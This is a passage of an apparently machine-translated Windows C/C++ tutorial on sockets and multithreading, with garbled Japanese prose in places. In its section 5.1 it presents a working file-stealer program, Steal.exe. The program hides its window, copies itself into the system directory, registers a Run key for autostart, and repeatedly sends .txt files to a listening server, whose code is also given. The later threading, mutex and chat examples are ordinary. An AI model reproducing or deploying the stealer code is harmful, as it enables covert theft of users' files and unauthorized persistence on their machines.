	// 3、连接服务器
	if (connect(hSocket, (SOCKADDR*)&servAddr, sizeof(servAddr)) == SOCKET_ERROR)
		ErrorHandling("connect() error!");

	strLen = send(hSocket, message, sizeof(message) - 1, 0);
	if (strLen == -1)
		ErrorHandling("read() error!");

	strLen = recv(hSocket, message, sizeof(message) - 1, 0);
	if (strLen == -1)
		ErrorHandling("read() error!");
	printf("Message from server: %s \n", message);

	closesocket(hSocket);
	WSACleanup();
	system("pause");
	return 0;
}
#endif

#if 1
//tcp
int main()
{
    
    

	ClientConnect();
	system("pause");
}
#endif

void ErrorHandling(char* message)
{
    
    
	fputs(message, stderr);
	fputc('\n', stderr);
	char ch[64];
	getCurrentTimeStr(ch);
	printf("error num = %d, error timt %s\n", ::GetLastError(), ch);
	system("pause");
	//	exit(1);
}

5 ネットワークプログラミングの実践

5.1 ネットワークプログラミングの実践的なネットワークファイル傍受

クライアント実装:

  • 文件结构体:
    typedef struct _WIN32_FIND_DATAW { DWORD dwFileAttributes; ファイルタイム ftCreationTime; ファイルタイム ftLastAccessTime; ファイルタイム ftLastWriteTime; DWORD nFileSizeHigh; DWORD nFileSizeLow; DWORD dwReserved0; DWORD dwReserved1; Field_z WCHAR cFileName[ MAX_PATH ]; Field_z WCHAR cAlternateFileName[ 14 ]; }










  • fopen,fread: ファイルを開いて読み取る
#include <stdio.h>
#include <windows.h>
#include <io.h>



#pragma comment(lib, "ws2_32.lib")

int SendtoServer(const char* path)
{
    
    
	//0 初始化网络库
	 // 加载套接字库
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;
	char sendBuf[1024] = {
    
    0};

	wVersionRequested = MAKEWORD(2, 2);
	// 1、初始化套接字库
	err = WSAStartup(wVersionRequested, &wsaData);
	if (err != 0)
	{
    
    
		printf("WSAStartup errorNum = %d\n", GetLastError());
		system("pause");
		return err;
	}

	if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2)
	{
    
    
		printf("LOBYTE errorNum = %d\n", GetLastError());
		WSACleanup();
		system("pause");
		return -1;
	}
	// 2 安装电话机
	 // 新建套接字
	SOCKET sockCli = socket(AF_INET, SOCK_STREAM, 0);
	if (INVALID_SOCKET == sockCli)
	{
    
    
		printf("socket errorNum = %d\n", GetLastError());
		system("pause");
		return -1;
	}
	SOCKADDR_IN addrSrv;
	addrSrv.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
	addrSrv.sin_family = AF_INET;
	addrSrv.sin_port = htons(6000);

	// 3 连接服务器
	if (SOCKET_ERROR == connect(sockCli, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)))
	{
    
    
		printf("connect errorNum = %d\n", GetLastError());
		system("pause");
		return -1;
	}
	// 4 读取文件内容
	FILE* fp = fopen(path, "rb");
	int len = fread(sendBuf, 1, 1024, fp);
	fclose(fp);

	// 5 发送数据
	int iLen = send(sockCli, sendBuf, strlen(sendBuf) + 1, 0);
	if (iLen < 0)
	{
    
    
		printf("send errorNum = %d\n", GetLastError());
		system("pause");
		return -1;
	}
	// 关闭套接字
	closesocket(sockCli);
	//WSACleanup();
	return 0;
}

5.1.2 ファイルのトラバース、スタートアップ項目の追加、およびファイルの非表示

int DoSteal(const char *szPath)
{
    
    
	// 1 遍历szPath下所有的文件
	WIN32_FIND_DATA FindFileData;// FindFileData表示文件
	HANDLE hListFile; //文件用句柄来标识,编号

	char szFilePath[MAX_PATH] = {
    
    0};
	strcpy(szFilePath, szPath);
	strcat(szFilePath, "\\*");
	// 2 首先找到第一个文件,用hListFile标识
	hListFile = FindFirstFile(szFilePath, &FindFileData);
	// 3 循环遍历所有文件
	do 
	{
    
    
		char mypath[MAX_PATH] = {
    
     0 };
		strcpy(mypath, szPath);
		strcat(mypath, FindFileData.cFileName);
		if (strstr(mypath, ".txt"))  //txt文件
		{
    
    
			//真真正正开始窃取文件
			SendtoServer(mypath);
			printf("mypath = %s\n", mypath);
		}
		

	} while (FindNextFile(hListFile, &FindFileData));
	//FindNextFile的返回值为NULL,退出循环


	return 0;
}


void AddToSystem()
{
    
    
	HKEY  hKEY;
	char  CurrentPath[MAX_PATH];
	char  SysPath[MAX_PATH];
	long  ret = 0;
	LPSTR FileNewName;
	LPSTR FileCurrentName;
	DWORD type = REG_SZ;
	DWORD size = MAX_PATH;
	LPCTSTR Rgspath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; //regedit  win + R

	GetSystemDirectory(SysPath, size);
	GetModuleFileName(NULL, CurrentPath, size);
	//Copy File
	FileCurrentName = CurrentPath;
	FileNewName = lstrcat(SysPath, "\\Steal.exe");
	struct _finddata_t Steal;
	printf("ret1 = %d,FileNewName = %s\n", ret, FileNewName);
	if (_findfirst(FileNewName, &Steal) != -1)
		return;//已经安装!
	printf("ret2 = %d\n", ret);

	int ihow = MessageBox(0, "该程序只允许用于合法的用途!\n继续运行该程序将使这台机器处于被监控的状态!\n如果您不想这样,请按“取消”按钮退出。\n按下“是”按钮该程序将被复制到您的机器上,并随系统启动自动运行。\n按下“否”按钮,程序只运行一次,不会在您的系统内留下任何东西。", "警告", MB_YESNOCANCEL | MB_ICONWARNING | MB_TOPMOST);
	if (ihow == IDCANCEL)
		exit(0);

	if (ihow == IDNO)
		return;//只运行一次
	//复制文件
	ret = CopyFile(FileCurrentName, FileNewName, TRUE);
	if (!ret)
	{
    
    
		return;
	}
	//加入注册表
	printf("ret = %d\n", ret);
	ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, Rgspath, 0, KEY_WRITE, &hKEY);
	if (ret != ERROR_SUCCESS)
	{
    
    
		RegCloseKey(hKEY);
		return;
	}
	//Set Key
	ret = RegSetValueEx(hKEY, "Steal", NULL, type, (const unsigned char*)FileNewName, size);
	if (ret != ERROR_SUCCESS)
	{
    
    
		RegCloseKey(hKEY);
		return;
	}
	RegCloseKey(hKEY);

}

void HideMyself()
{
    
    
	// 拿到当前的窗口句柄
	HWND hwnd = GetForegroundWindow();
	ShowWindow(hwnd, SW_HIDE);
}

int main()
{
    
    
	printf("Steal\n");
	//隐藏自身
	HideMyself();
	// 添加到启动项
	AddToSystem();
	//窃取文件   窃取哪个文件呢??
	while (1)
	{
    
    
		DoSteal("E:\\Users\\BingGo\\Desktop\\test\\");
		Sleep(5000);
	}
	
	system("pause");
	return 0;
}

5.1.3 コンソールにエラーコードを出力する機能

サーバー側の実装:



#include <stdio.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
#define MAX_SIZE 1024

//控制台打印错误码的函数
void ErrorHanding(const char *msg)
{
    
    
	fputs(msg, stderr);
	fputc('\n', stderr);
	exit(1);
}

int main()
{
    
    
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;
	char msg[MAX_SIZE] = {
    
     0 };

	wVersionRequested = MAKEWORD(2, 2);
	// 1、初始化套接字库
	err = WSAStartup(wVersionRequested, &wsaData);
	if (err != 0)
	{
    
    
		ErrorHanding("WSAStartup error");
	}

	if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2)
	{
    
    
		printf("LOBYTE errorNum = %d\n", GetLastError());
		WSACleanup();
		ErrorHanding("LOBYTE error");
		return -1;
	}
	// 2 建立socket
	SOCKET hServerSock = socket(PF_INET, SOCK_STREAM, 0);
	if (INVALID_SOCKET == hServerSock)
	{
    
    
		ErrorHanding("socket error");
	}

	SOCKADDR_IN addrSrv;
	addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
	addrSrv.sin_family = AF_INET;
	addrSrv.sin_port = htons(6000);
	// 3 分配电话号码
	 // 绑定套接字到本地IP地址,端口号9527
	if (SOCKET_ERROR == bind(hServerSock, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)))
	{
    
    
		ErrorHanding("socket error");
	}

	// 4、监听 listen
	if (SOCKET_ERROR == listen(hServerSock, 5))
	{
    
    
		ErrorHanding("listen error");
	}

	SOCKADDR_IN addrCli;
	int cliAdrSize = sizeof(SOCKADDR_IN);
	SOCKET cliSock;
	int strLen = 0;
	// 5 循环接收数据
	while(TRUE)
	{
    
    
		cliSock = accept(hServerSock, (SOCKADDR*)&addrCli, &cliAdrSize);
		if (SOCKET_ERROR == cliSock)
		{
    
    
			ErrorHanding("accept error");
		}
		memset(msg, 0, MAX_SIZE);

		while ((strLen = recv(cliSock, msg, MAX_SIZE, 0)) != 0)
		{
    
    
			printf("Server msg = %s\n",msg);
		}
		closesocket(cliSock);
	}

	closesocket(hServerSock);
	WSACleanup();


	return 0;
}

5.2 ネットワークプログラミングの実践的なネットワークファイル傍受 - プロセスの隠蔽とレジストリの変更

  • 最適化:
  • 要約:
    1 ファイル トラバーサルである限り、すぐに WIN32_FIND_DATA 構造を考える必要があります。
    2 WIN32_FIND_DATA には、ファイル名とファイル情報、作成時間、アクセス時間などが含まれます。
    3 ハンドル - ポインタは、Windows 上のいくつかのオブジェクトを表すために使用されます。
    4 MAX_PATH は Windows パスに関連する配列変数です 260
    5 特定の警告を無効にする 4996
    6 自分自身を隠す方法
    7 レジストリに書き込む方法
    8 エラー処理関数
    void ErrorHanding(const char *msg)
    { fputs(msg, stderr); fputc( '\n', stderr);終了 (1); }



6 マルチスレッド

6.1 基本概念

トピックの紹介:
先生は要件を提示しました: プリントをして、
Xiaohong に 3 秒ごとに腕立て伏せを 20 回、
Xiaoh Ming に 4 秒ごとにヘアフライを 30 回、
Lao Wang に 50 回歌ってもらいます。 2秒。

  • スレッドはプロセス内で生成される実行単位です。CPU のスケジューリングと割り当ての最小単位です。同じプロセス内の他のスレッドと並行して実行されます。プロセス内のリソース (メモリ、アドレス空間、オープンなど) を共有できます。ファイルなどは待機します。
    • スレッドは CPU のスケジューリングとディスパッチの基本単位です。 ------ ワーカー
    • プロセスはリソースを割り当てるための基本単位です。 ---- ワークショップ
  • プロセス: 実行中のプログラム - 狭義には、
    実行中のプログラムとそのプログラムが管理するリソース (オープン ファイル、保留中のシグナル、プロセス ステータス、アドレス空間など) の総称です。プロセスは、オペレーティング システムのコアであり、CPU タイム スライスに加えて、オペレーティング システムによるリソース割り当てと保護の基本単位です。プロセス イメージ (プロセスに関連付けられたプログラムやデータなど) を収容するための独立した仮想アドレス空間を持っています。プロセッサ、ファイル、外部デバイス、その他のプロセスへの保護されたアクセスなどのリソースの保護を強制します (プロセス間通信)
    ここに画像の説明を挿入します

工場が電力システム、作業場、倉庫、管理事務所、作業員で構成されているのと同じように、コンピュータは CPU、メモリ、ディスク、マウス、キーボードなどの多くのリソースで構成されています。
ここに画像の説明を挿入します

工場の電力は限られており、一度に 1 つまたはいくつかの作業場にのみ供給できると想定されています。言い換えれば、一部のワークショップが動作し始めると、他のワークショップは動作を停止する必要があります。その背後にある意味は、単一の CPU は一度に 1 つのタスクのみを実行でき、複数の CPU は少数のタスクを実行できるということです。

ここに画像の説明を挿入します

スレッドは作業場で働く労働者のようなものです。プロセスには、特定のタスクを完了するために連携して動作する複数のスレッドを含めることができます。
ここに画像の説明を挿入します

マルチスレッドを使用する理由

  • ブロッキングを回避する
    ご存知のとおり、1 つのプロセスにはメイン スレッドが 1 つだけあり、メイン スレッドがブロックされると、プロセス全体がブロックされ、他の機能を実行できなくなります。
  • CPU のアイドリングを回避します。
    アプリケーションには、RPC、データベース アクセス、ディスク IO およびその他の操作が含まれることがよくあります。これらの操作は CPU よりもはるかに遅いです。これらの応答を待っている間、CPU は新しいリクエストを処理できず、結果としてこのシングルスレッド操作になります。アプリケーションのパフォーマンス貧乏です。CPU》》メモリ》》ディスク
  • 効率の向上:
    プロセスは独立して 4GB の仮想アドレス空間を持つ必要があり、複数のスレッドが同じアドレス空間を共有できるため、スレッドの切り替えはプロセスの切り替えよりもはるかに高速です。
    コンテキストスイッチ
    ここに画像の説明を挿入します

6.2 スレッド作成機能

スレッドの作成

  • CreateThread は、Microsoft が Windows API で提供している、新しいスレッドを作成するための関数で、メイン スレッドに基づいて新しいスレッドを作成します。スレッドが終了した後も、スレッド オブジェクトはシステム内に残るため、CloseHandle 関数を使用して閉じる必要があります。

HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,//SD
SIZE_T dwStackSize,//initialstacksize
LPTHREAD_START_ROUTINE lpStartAddress,//threadfunction
LPVOID lpParameter,//threadargument
DWORD dwCreationFlags,//creationoption
LPDWORD lpThreadId//threadidentifier
)

  • 最初のパラメータ lpThreadAttributes は、スレッド カーネル オブジェクトのセキュリティ属性を表します。通常、NULL を渡すことは、デフォルト設定を使用することを意味します。
  • 2 番目のパラメーター dwStackSize は、スレッド スタック領域のサイズを表します。0 を渡すと、デフォルトのサイズ (1MB) が使用されることを意味します。
  • 3 番目のパラメータ lpStartAddress は、新しいスレッドによって実行されるスレッド関数アドレスを表します。複数のスレッドが同じ関数アドレスを使用できます。
  • 4 番目のパラメーター lpParameter は、スレッド関数に渡されるパラメーターです。
  • 5 番目のパラメータ dwCreationFlags は、スレッドの作成を制御する追加のフラグを指定します。これが 0 の場合は、スレッドが作成された直後にスケジュールできることを意味します。CREATE_SUSPENDED の場合は、スレッドが作成後に一時停止されていることを意味します。そのため、ResumeThread() が呼び出されるまでスケジュールすることはできません。
  • 6 番目のパラメータ lpThreadId はスレッドの ID 番号を返します。NULL を渡すと、スレッド ID 番号を返す必要がないことを意味します。
unsigned long _beginthreadex(
    void *security,    // 安全属性, 为NULL时表示默认安全性
    unsigned stack_size,    // 线程的堆栈大小, 一般默认为0
    unsigned(_stdcall *start_address)(void *),   // 线程函数
    void *argilist, // 线程函数的参数
   unsigned initflag,    // 新线程的初始状态,0表示立即执行,//CREATE_SUSPENDED表示创建之后挂起
    unsigned *threaddr    // 用来接收线程ID
);

戻り値: // 成功した場合は新しいスレッド ハンドルを返し、失敗した場合は 0 を返します。

  • __stdcall の意味
    • 1.パラメータは右から左にスタックにプッシュされます
    • 2. 関数の呼び出し先がスタックを変更する
#include <stdio.h>
#include <windows.h>
#include <process.h>

DWORD WINAPI ThreadFun(LPVOID p)
{
    
    
	int iMym = *((int*)p);
	printf("我是子线程,PID = %d,iMym = %d\n", GetCurrentThreadId(), iMym);
	return 0;
}

int main()
{
    
    
	printf("main begin\n");

	HANDLE hThread;
	DWORD dwThreadID;
	int m = 100;
	hThread = CreateThread(NULL, 0, ThreadFun, &m, 0, &dwThreadID);
	printf("我是主线程,PID = %d\n", GetCurrentThreadId());
	CloseHandle(hThread);
	Sleep(2000);
	system("pause");
	return 0;
}

6.3 簡単なマルチスレッドの例

1 カーネルオブジェクトを理解する

1 定义: 
  • カーネル オブジェクトは API を通じて作成されます。各カーネル オブジェクトはメモリの一部に対応するデータ構造であり、オペレーティング システム カーネルによって割り当てられ、オペレーティング システム カーネルによってのみアクセスできます。このデータ構造内のいくつかのメンバー (セキュリティ記述子や使用回数など) はすべてのオブジェクトに共通ですが、他のほとんどのメンバーはさまざまな種類のオブジェクトに固有です。カーネル オブジェクトのデータ構造には、オペレーティング システムが提供する API によってのみアクセスでき、メモリ内のアプリケーションからはアクセスできません。カーネル オブジェクトを作成する関数を呼び出した後、関数は作成されたオブジェクトを識別するハンドルを返します。プロセスのどのスレッドでも使用できます。
    CreateProcess
    CreateThread
    CreateFile
    イベント
    ジョブ
    ミューテックス
  • 一般的なカーネル オブジェクト: プロセス、スレッド、ファイル、アクセスシンボルオブジェクト、イベントオブジェクト、ファイルオブジェクト、ジョブオブジェクト、ミューテックスオブジェクト、パイプオブジェクト、ウェイトタイマーオブジェクト、メールスロットオブジェクト、シグナルオブジェクト
  • カーネル オブジェクト: スレッド/ファイルなどのリソースを管理するためにオペレーティング システムによって作成されるデータのブロック。
  • その作成の所有者は間違いなくオペレーティング システムです。

フェーズ 1: メインスレッドとサブスレッドの終了時刻_beginthreadex

main 関数が戻った後、プロセス全体とそれに含まれるすべてのスレッドが終了します。

#include <stdio.h>
#include <windows.h>
#include <process.h>   

unsigned WINAPI ThreadFunc(void *arg);

int main(int argc, char *argv[]) 
{
    
    
	HANDLE hThread;
	unsigned threadID;
	int param=5;

	hThread=(HANDLE)_beginthreadex(NULL, 0, &ThreadFunc, (void*)&param, 0, &threadID);
	if(hThread==0)
	{
    
    
		puts("_beginthreadex() error");
		return -1;
	}
	Sleep(3000);
	puts("end of main");
	return 0;
}


unsigned WINAPI ThreadFunc(void *arg)
{
    
    
	int i;
	int cnt=*((int*)arg);
	for(i=0; i<cnt; i++)
	{
    
    
		Sleep(1000);  puts("running thread");	 
	}
	return 0;
}

第 2 段階 WaitForSingleObject

カーネルオブジェクトが通知されるのを待つには
WaitForSingleObject(
In HANDLE hHandle, //カーネル オブジェクトのハンドルを示しますIn DWORD dwMilliseconds //待機時間);

#include <stdio.h>
#include <windows.h>
#include <process.h>


unsigned int __stdcall ThreadFun(LPVOID p)
{
    
    
	int cnt = *((int*)p);
	for (int i = 0; i < cnt; i++)
	{
    
    
		Sleep(1000);
		puts("running thread");
	}
	return 0;
}


int main()
{
    
    
	printf("main begin\n");
	int iParam = 5;
	unsigned int dwThreadID;
	DWORD wr;

	HANDLE hThread = (HANDLE)_beginthreadex(NULL, 0, ThreadFun,
		(void*)&iParam, 0, &dwThreadID);

	if (hThread == NULL)
	{
    
    
		puts("_beginthreadex() error");
		return -1;
	}
	// 
	printf("WaitForSingleObject begin\n");
	if ((wr = WaitForSingleObject(hThread, INFINITE)) == WAIT_FAILED)
	{
    
    
		puts("thread wait error");
		return -1;
	}
	printf("WaitForSingleObject end\n");

	printf("main end\n");
	system("pause");
	return 0;
}

第 3 段階の WaitForMultipleObjects:

2 つのスレッドを開始します。1 つは +1、もう 1 つはマイナス 1
WaitForMultipleObjects
WaitForMultipleObjects(
In DWORD nCount, //監視対象のハンドル グループ内のハンドル数
In_reads (nCount) CONST HANDLE* lpHandles, //監視対象のハンドル グループ監視対象BOOL bWaitAll
の場合、 // TRUE
すべてのカーネル オブジェクトが信号を送信するまで待機し、 FALSE は任意のカーネル オブジェクトが信号を送信しますDWORD dwMilliseconds // 待機時間
);

#include <stdio.h>
#include <windows.h>
#include <process.h>

#define NUM_THREAD	50
unsigned WINAPI threadInc(void * arg);
unsigned WINAPI threadDes(void * arg);
long long num=0;

int main(int argc, char *argv[]) 
{
    
    
	HANDLE tHandles[NUM_THREAD];
	int i;

	printf("sizeof long long: %d \n", sizeof(long long));
	for(i=0; i<NUM_THREAD; i++)
	{
    
    
		if(i%2)
		    tHandles[i]=(HANDLE)_beginthreadex(NULL, 0, threadInc, NULL, 0, NULL);
		else
		    tHandles[i]=(HANDLE)_beginthreadex(NULL, 0, threadDes, NULL, 0, NULL);
	}

	WaitForMultipleObjects(NUM_THREAD, tHandles, TRUE, INFINITE);
	printf("result: %lld \n", num);
	return 0;
}

unsigned WINAPI threadInc(void * arg) 
{
    
    
	int i;
	for(i=0; i<500000; i++)
		num+=1;
	return 0;
}
unsigned WINAPI threadDes(void * arg)
{
    
    
	int i;
	for(i=0; i<500000; i++)
		num-=1;
	return 0;
}

6.4 スレッドの同期 - ミューテックス オブジェクトのミューテックス

  • Mutex オブジェクトは、スレッドが単一のリソースに相互に排他的にアクセスできるようにするカーネル オブジェクトです。
  • ミューテックス オブジェクトには、使用数、スレッド ID、およびカウンターが含まれています。スレッド ID は、システム内のどのスレッドが現在ミューテックス オブジェクトを所有しているかを識別するために使用され、カウンタは、スレッドがミューテックス オブジェクトを所有している回数を示すために使用されます。
  • 相互に排他的なオブジェクトを作成します。関数 CreateMutex を呼び出します。呼び出しが成功すると、関数は作成されたミューテックス オブジェクトのハンドルを返します。
  • ミューテックス オブジェクトの所有権を要求します。関数 WaitForSingleObject 関数を呼び出します。スレッドは、共有オブジェクトの所有権を積極的に要求して、所有権を取得する必要があります。
  • 指定されたミューテックス オブジェクトの所有権を解放します。ReleaseMutex 関数を呼び出します。スレッドが共有リソースにアクセスした後、スレッドはミューテックス オブジェクトの所有権をアクティブに解放して、オブジェクトが通知された状態になるようにする必要があります。

ミューテックスの作成

HANDLE
WINAPI
CreateMutexW(
In_opt LPSECURITY_ATTRIBUTES lpMutexAttributes, //セキュリティ属性を指します。
In BOOL bInitialOwner, //ミューテックス オブジェクトの所有者を初期化します。TRUE はすぐにミューテックスを所有します。False は、作成されたミューテックスがどのスレッドにも属さないことを意味します。励起状態にあり、信号状態があります。
In_opt LPCWSTR lpName //ミューテックス オブジェクト名へのポインタ L "C++"
);

#include <stdio.h>
#include <windows.h>
#include <process.h>

#define NUM_THREAD	50
unsigned WINAPI threadInc(void * arg);
unsigned WINAPI threadDes(void * arg);

long long num=0;
HANDLE hMutex;

int main(int argc, char *argv[]) 
{
    
    
	HANDLE tHandles[NUM_THREAD];
	int i;

	hMutex=CreateMutex(NULL, FALSE, NULL);
	for(i=0; i<NUM_THREAD; i++)
	{
    
    
		if(i%2)
		    tHandles[i]=(HANDLE)_beginthreadex(NULL, 0, threadInc, NULL, 0, NULL);
		else
		    tHandles[i]=(HANDLE)_beginthreadex(NULL, 0, threadDes, NULL, 0, NULL);
	}

	WaitForMultipleObjects(NUM_THREAD, tHandles, TRUE, INFINITE);
	CloseHandle(hMutex);
	printf("result: %lld \n", num);
	return 0;
}

unsigned WINAPI threadInc(void * arg) 
{
    
    
	int i;

	WaitForSingleObject(hMutex, INFINITE);
	for(i=0; i<500000; i++)
		num+=1;
	ReleaseMutex(hMutex);

	return 0;
}
unsigned WINAPI threadDes(void * arg)
{
    
    
	int i;

	WaitForSingleObject(hMutex, INFINITE);
	for(i=0; i<500000; i++)
		num-=1;
	ReleaseMutex(hMutex);

	return 0;
}

6.5 QQグループチャットのサーバーとクライアントをマルチスレッドで実装

サーバ

//多线程+socket编程的一个联合使用
//用互斥体进行线程同步  socket编程   临界区   全局变量

#include <WinSock2.h>
#include <iostream>
#include <windows.h>
#include <process.h>

#pragma comment(lib, "ws2_32.lib")

#define MAX_CLNT 256
#define MAX_BUF_SIZE 256


SOCKET clntSocks[MAX_CLNT];  //所有的连接的客户端socket
HANDLE hMutex;
int clntCnt = 0;  //当前连接的数目

// 服务端的设计:
// 1 每来一个连接,服务端起一个线程(安排一个工人)维护
// 2 将收到的消息转发给所有的客户端
// 3 某个连接断开,需要处理断开的连接

//发送给所有的客户端
void SendMsg(char *szMsg, int iLen)
{
    
    
	int i = 0;
	WaitForSingleObject(hMutex, INFINITE);
	for (i = 0; i < clntCnt; i++)
	{
    
    
		send(clntSocks[i], szMsg, iLen, 0);
	}
	ReleaseMutex(hMutex);
}


//处理客户端连接的函数
unsigned WINAPI HandleCln(void* arg)
{
    
    
	//1 接收传递过来的参数
	SOCKET hClntSock = *((SOCKET*)arg);
	int iLen = 0, i;
	char szMsg[MAX_BUF_SIZE] = {
    
     0 };
	//2 进行数据的收发  循环接收
	//接收到客户端的数据

//  	while ((iLen = recv(hClntSock, szMsg, sizeof(szMsg),0)) != 0)
//  	{ 		//收到的数据立马发给所有的客户端
//  		SendMsg(szMsg, iLen);
//  	}

	while (1)
	{
    
     	
		iLen = recv(hClntSock, szMsg, sizeof(szMsg), 0);
		if (iLen != -1)
		{
    
    
			//收到的数据立马发给所有的客户端
			SendMsg(szMsg, iLen);
		}
		else
		{
    
    
			break;
		}
	}
	

	printf("此时连接数目为 %d\n", clntCnt);

	//3 某个连接断开,需要处理断开的连接  遍历
	WaitForSingleObject(hMutex, INFINITE);
	for (i = 0; i<clntCnt; i++)
	{
    
    
		if (hClntSock == clntSocks[i])
		{
    
    
			//移位
			while (i++ < clntCnt)
			{
    
    
				clntSocks[i] = clntSocks[i+1];
			}
			break;
		}
	}
	clntCnt--;  //当前连接数的一个自减
	printf("断开此时连接数目 %d", clntCnt);
	ReleaseMutex(hMutex);
	closesocket(hClntSock);
	return 0;

}


int main()
{
    
    
	// 加载套接字库
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;
	HANDLE hThread;
	wVersionRequested = MAKEWORD(1, 1);
	// 初始化套接字库
	err = WSAStartup(wVersionRequested, &wsaData);
	if (err != 0)
	{
    
    
		return err;
	}
	if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1)
	{
    
    
		WSACleanup();
		return -1;
	}
	//创建一个互斥对象
	hMutex = CreateMutex(NULL, FALSE, NULL);
	// 新建套接字
	SOCKET sockSrv = socket(AF_INET, SOCK_STREAM, 0);

	SOCKADDR_IN addrSrv;
	addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
	addrSrv.sin_family = AF_INET;
	addrSrv.sin_port = htons(9190);

	// 绑定套接字到本地IP地址,端口号9190
	if (bind(sockSrv, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)) == SOCKET_ERROR)
	{
    
    
		printf("bind ERRORnum = %d\n", GetLastError());
		return -1;
	}

	// 开始监听
	if(listen(sockSrv, 5) == SOCKET_ERROR)
	{
    
    
		printf("listen ERRORnum = %d\n", GetLastError());
		return -1;
	}
	
	printf("start listen\n");

	SOCKADDR_IN addrCli;
	int len = sizeof(SOCKADDR);

	while (1)
	{
    
    
		// 接收客户连接  sockConn此时来的客户端连接
		SOCKET sockConn = accept(sockSrv, (SOCKADDR*)&addrCli, &len);

		//每来一个连接,服务端起一个线程(安排一个工人)维护客户端的连接
		//每来一个连接,全局数组应该加一个成员,最大连接数加1
		WaitForSingleObject(hMutex, INFINITE);
		clntSocks[clntCnt++] = sockConn;
		ReleaseMutex(hMutex);

		hThread = (HANDLE)_beginthreadex(NULL, 0, HandleCln,
			(void*)&sockConn, 0, NULL);
		printf("Connect client IP: %s \n", inet_ntoa(addrCli.sin_addr));
		printf("Connect client num: %d \n", clntCnt);
	}

	closesocket(sockSrv);
	WSACleanup();

	return 0;
}

クライアント

// 1  接收服务端的消息   安排一个工人 起一个线程接收消息
// 2 发送消息给服务端    安排一个工人 起一个线程发送消息
// 3 退出机制

#include <WinSock2.h>
#include <iostream>
#include <windows.h>
#include <process.h>

#pragma comment(lib, "ws2_32.lib")

#define NAME_SIZE 32
#define BUF_SIZE 256

char szName[NAME_SIZE] = "[DEFAULT]";
char szMsg[BUF_SIZE];

//发送消息给服务端
unsigned WINAPI SendMsg(void* arg)
{
    
    
	//1 接收传递过来的参数
	SOCKET hClntSock = *((SOCKET*)arg);
	char szNameMsg[NAME_SIZE + BUF_SIZE];  //又有名字,又有消息
	//循环接收来自于控制台的消息
	while (1)
	{
    
    
		fgets(szMsg, BUF_SIZE, stdin); //阻塞在这一句
		//退出机制  当收到q或Q  退出
		if (!strcmp(szMsg, "Q\n") || !strcmp(szMsg, "q\n"))
		{
    
    
			closesocket(hClntSock);
			exit(0);
		}

		sprintf(szNameMsg, "%s %s",szName, szMsg);//字符串拼接
		send(hClntSock, szNameMsg, strlen(szNameMsg), 0);//发送
	}
	return 0;
}

//接收服务端的消息
unsigned WINAPI RecvMsg(void* arg)
{
    
    
	//1 接收传递过来的参数
	SOCKET hClntSock = *((SOCKET*)arg);
	char szNameMsg[NAME_SIZE + BUF_SIZE];  //又有名字,又有消息
	int iLen = 0;
	while (1)
	{
    
    
		//recv阻塞
		iLen = recv(hClntSock, szNameMsg, NAME_SIZE + BUF_SIZE - 1, 0);
		//服务端断开
		if (iLen == -1)
		{
    
    
			return -1;
		}
		// szNameMsg的0到iLen -1 都是收到的数据 iLen个
		szNameMsg[iLen] = 0;
		//接收到的数据输出到控制台
		fputs(szNameMsg, stdout);
	}
	return 0;
}

// 带参数的main函数,用命令行启动  在当前目录按下shift + 鼠标右键 cmd
int main(int argc, char *argv[])
{
    
    
	// 加载套接字库
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;
	SOCKET hSock;
	SOCKADDR_IN servAdr;
	HANDLE hSendThread, hRecvThread;
	wVersionRequested = MAKEWORD(1, 1);
	// 初始化套接字库
	err = WSAStartup(wVersionRequested, &wsaData);
	if (err != 0)
	{
    
    
		return err;
	}
	if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1)
	{
    
    
		WSACleanup();
		return -1;
	}
	sprintf(szName, "[%s]", argv[1]);
	//1 建立socket
	hSock = socket(PF_INET, SOCK_STREAM, 0);

	// 2 配置端口和地址
	memset(&servAdr, 0, sizeof(servAdr));
	servAdr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
	servAdr.sin_family = AF_INET;
	servAdr.sin_port = htons(9190);

	// 3 连接服务器
	if (connect(hSock, (SOCKADDR*)&servAdr, sizeof(servAdr)) == SOCKET_ERROR)
	{
    
    
		printf("connect error error code = %d\n",GetLastError());
		return -1;
	}

	// 4  发送服务端的消息   安排一个工人 起一个线程发送消息

	hSendThread = (HANDLE)_beginthreadex(NULL, 0, SendMsg,
		(void*)&hSock, 0, NULL);

	//  5 接收消息给服务端    安排一个工人 起一个线程接收消息

	hRecvThread = (HANDLE)_beginthreadex(NULL, 0, RecvMsg,
		(void*)&hSock, 0, NULL);

	//等待内核对象的信号发生变化
	WaitForSingleObject(hSendThread, INFINITE);
	WaitForSingleObject(hRecvThread, INFINITE);

	// 6 关闭套接字
	closesocket(hSock);
	WSACleanup();
	return 0;
}

6.6 スレッド同期 - イベントオブジェクト Event

  • イベント オブジェクトもカーネル オブジェクトに属し、次の 3 つのメンバーが含まれます:
    ● 使用回数;
    ● イベントが自動リセット イベントか手動リセット イベントかを示すために使用されるブール値;
    ● イベントが A であったことを示すために使用されます。ステータスが通知済みか未通知かを示すブール値。
  • イベント オブジェクトには、手動リセット イベント オブジェクトと自動リセット イベント オブジェクトの 2 種類があります。これら 2 つのイベント オブジェクトの違いは、手動でリセットされたイベント オブジェクトが通知されると、そのイベント オブジェクトを待機しているすべてのスレッドがスケジュール可能スレッドになるのに対し、自動的にリセットされるイベント オブジェクトが通知されると、そのイベント オブジェクトを待機するすべてのスレッドがスケジュール可能になることです。スレッド間のスレッドがスケジュール可能になります。
